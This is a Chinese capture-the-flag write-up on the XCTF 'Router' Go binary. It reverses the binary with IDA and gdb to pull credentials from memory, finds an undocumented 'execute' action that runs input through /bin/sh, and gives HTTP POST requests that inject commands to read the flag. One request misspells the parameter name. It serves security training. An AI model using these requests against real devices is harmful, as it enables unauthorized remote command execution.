一、题目
题目:Router
题目描述:XCTF
二、WriteUp
1. 信息搜集
file router
router: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=8e39573e0bf5a1874fe8c686aac112a50e81989d, stripped
./router
[Info] using default config.
[Info] HTTP server has been started.
./router
[Info] Loading config file...OK!
[Info] HTTP server has been started.
netstat -antp
tcp6 0 0 :::8080 :::* LISTEN 23626/./router
ls -altr
-rwxr-xr-x 1 fasd fasd 5752685 May 7 22:08 router
-rw-r--r-- 1 fasd fasd 72 May 7 22:49 settings.conf
思路是先拿到username和password。
源程序只有一个二进制程序,那么username和password一定存在于二进制中。
可以对go二进制进行逆向和动态调试,看看输入的username和password是怎么处理的。
2. 逆向调试
(1) IDAGolangHelper+IDApro7.5进行静态分析
<0> IDApro7.5初次运行一定要执行绿化工具,配置目录下的python环境变量,否则会使用系统环境变量的python导致报错。还须观察ida的outputwindow pip安装相关的库文件。
<1>下载插件并修改
Gopclntab.py中
name = idc.get_strlit_contents(base + name_offset)后面添加
name = name.decode("utf-8")
<2> IDApro7.5 -> File -> Script File -> 选择go_entry.py -> determine go version -> 选择go1.6和rename fucntions ---OK
<3> shift+F12查找[Info] Loading config file...OK! 字符串
跟进找到它的交叉引用 来自sub_401160或者直接找函数名称main_Setting_Load
可以找到这个函数的地址为0000000000401160,基本的逻辑操作是读取了settings.conf并做了处理,猜测这里解密了,结果应该会在栈上进行保存。
(1) pwngdb进行动态分析
<4> 使用pwngdb动态调试
首先checksec router,发现PIE没有开,基址即0x400000
checksec router
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
gdb router
b *0x401160
run
一直n不久后就可以看到
03:0018│ 0xc82005bdc8 —▸ 0xc820303200 ◂— '{"Username":"router""Password":"router","Secret":"router","Backdoor":"","Session":{}}'
3. 后台再信息收集
检查功能点:
发现有两个可疑的功能点:
一个是Settings的import上传功能,但是这是goweb环境,难以利用。
另一个是Diagnostics的ping功能,回显与bash命令相似,猜测可能有未做命令类型限制。
使用burpsuite抓取ping命令的包
POST /414982cbfba0a78e38ae7aa9b6e3f22a HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 47
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bmr9g7owko0x04pbnen36er34zpyerlx
Connection: close
action=ping&host=127.0.0.1&ipproto=ipv4&count=3
4. 逆向再分析
通过上述类似的方法寻找action字符串,找到main_Process函数,分析该函数
复制伪代码到vscode,收敛代码块,查看main_Process的大逻辑,截取关键核心函数
if ( v26 != 4
|| (v158 = 4LL,
runtime_eqstring(
(unsigned int)v150,
(_DWORD)a2,
v22,
(_DWORD)v25,
v23,
v24,
(__int64)v25,
4LL,
(__int64)"ping",
4,
v119),
v25 = (const __m128i *)v157,
v26 = v158,
!(_BYTE)v119) )
{
if ( v26 == 7 ) //判断是否为execute
{
v158 = 7LL;
runtime_eqstring(
(unsigned int)v150,
(_DWORD)a2,
v22,
(_DWORD)v25,
v23,
v24,
(__int64)v25,
7LL,
(__int64)"execute",
7,
v119);
v25 = (const __m128i *)v157;
v26 = v158;
if ( (_BYTE)v119 )
{
v115 = &unk_6A6DA0;
v116 = *v125;
v157 = "command";
v158 = 7LL; //这里就是解析post的数据了 一般是以json的形式传输的
v58 = runtime_mapaccess1_faststr( //runtime_mapaccess1_faststr 函数是 Go 语言运行时(runtime)中的一个函数,用于在 Map 类型中快速查找字符串键对应的值。该函数主要用于内部实现,用来优化在 Map 中进行字符串键的访问操作。
(unsigned int)v150,
(_DWORD)a2,
v22,
(unsigned int)"command",
v23,
v24,
(__int64)&unk_6A6DA0,
(__int64)v116,
(char)"command",
7,
v119);
if ( !v119 )
dword_0 = v58;
v61 = *(__int64 **)v119;
v62 = *(_QWORD *)(v119 + 8);
v199[0] = &unk_78F640;
v199[1] = 2LL;
v200[0] = 0LL;
v195 = 2LL;
v196 = 2LL;
v63 = v199;
v194 = v199;
v162 = v62;
v200[1] = v62;
v161 = v61;
if ( byte_9600B6 )
{
runtime_writebarrierptr(
(unsigned int)v150,
(_DWORD)a2,
(_DWORD)v61,
v62,
v59,
v60,
(__int64)v200,
(__int64)v61);
v63 = v194;
}
else
{
v200[0] = v61;
}
os_exec_Command( //执行命令
(unsigned int)v150,
(_DWORD)a2,
(_DWORD)v61,
v62,
v59,
v60,
(__int64)"/bin/sh",
7LL,
(__int64)v63,
v195,
v196,
(__int64)v120);
os_exec__ptr_Cmd_Output( //输出命令内容
(unsigned int)v150,
(_DWORD)a2,
v64,
v65,
v66,
v67,
(__int64)v120,
(__int64)v116,
v117,
v118,
v119,
(__int64)v120);
a2 = v116;
v179 = v116;
v180 = v117;
v181 = v118;
v141 = v120;
v140 = v119;
if ( !v119 )
goto LABEL_27;
LABEL_30:
v115 = v120;
(*(void (__fastcall **)(__int64 *))(v119 + 32))(v150);
LODWORD(v15) = (_DWORD)v116;
v183 = (const char *)v116;
v184 = v117;
goto LABEL_28;
}
}
v158 = v26;
if ( v26 == 8 )
{
runtime_eqstring(
(unsigned int)v150,
(_DWORD)a2,
v22,
(_DWORD)v25,
v23,
v24,
(__int64)v25,
8LL,
(__int64)"backdoor",
8,
v119);
if ( (_BYTE)v119 )
{
main_RandomNumber((unsigned int)v150, (_DWORD)a2, v22, (_DWORD)v25, v23, v24, 48000LL, 62000LL, v117);
v123 = v117;
runtime_newproc((unsigned int)v150, (_DWORD)a2, v68, v69, v70, v71, 8, (char)&off_8225B8);
v182 = 1LL;
main_Int642Str((unsigned int)v150, (_DWORD)a2, v72, v73, v74, v75, v117, (__int64)v116, v117);
v157 = (const char *)v116;
v158 = v117;
runtime_concatstring2(
(unsigned int)v150,
(_DWORD)a2,
v76,
(_DWORD)v157,
v77,
v78,
0LL,
(char)"0x0",
3,
(_DWORD)v157,
v117,
(__int64)v120,
(__int64)v121);
v183 = (const char *)v120;
LODWORD(v15) = (_DWORD)v121;
v184 = (__int64)v121;
goto LABEL_28;
}
}
goto LABEL_50;
}
5. exp
通过分析上述函数,可构造命令执行。
POST /414982cbfba0a78e38ae7aa9b6e3f22a HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 26
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bmr9g7owko0x04pbnen36er34zpyerlx
Connection: close
action=execute&command=pwd
通过以下命令找到,得到flag
action=execute&command=find%20.%20|grep%20flag
action=execute&commadn=cat%20/home/xctf/bin/flag
三、总结
1. IDAGolangHelper+ida7.5pro的使用方法
2. ida反编译的修改
3. vuln函数的寻找和利用
4. 反编译代码的解析
四、参考链接
https://www.freebuf.com/articles/web/239385.html
https://www.jianshu.com/p/9548a9c1830a
https://github.com/strazzere/golang_loader_assist/blob/master/golang_loader_assist.py
https://github.com/sibears/IDAGolangHelper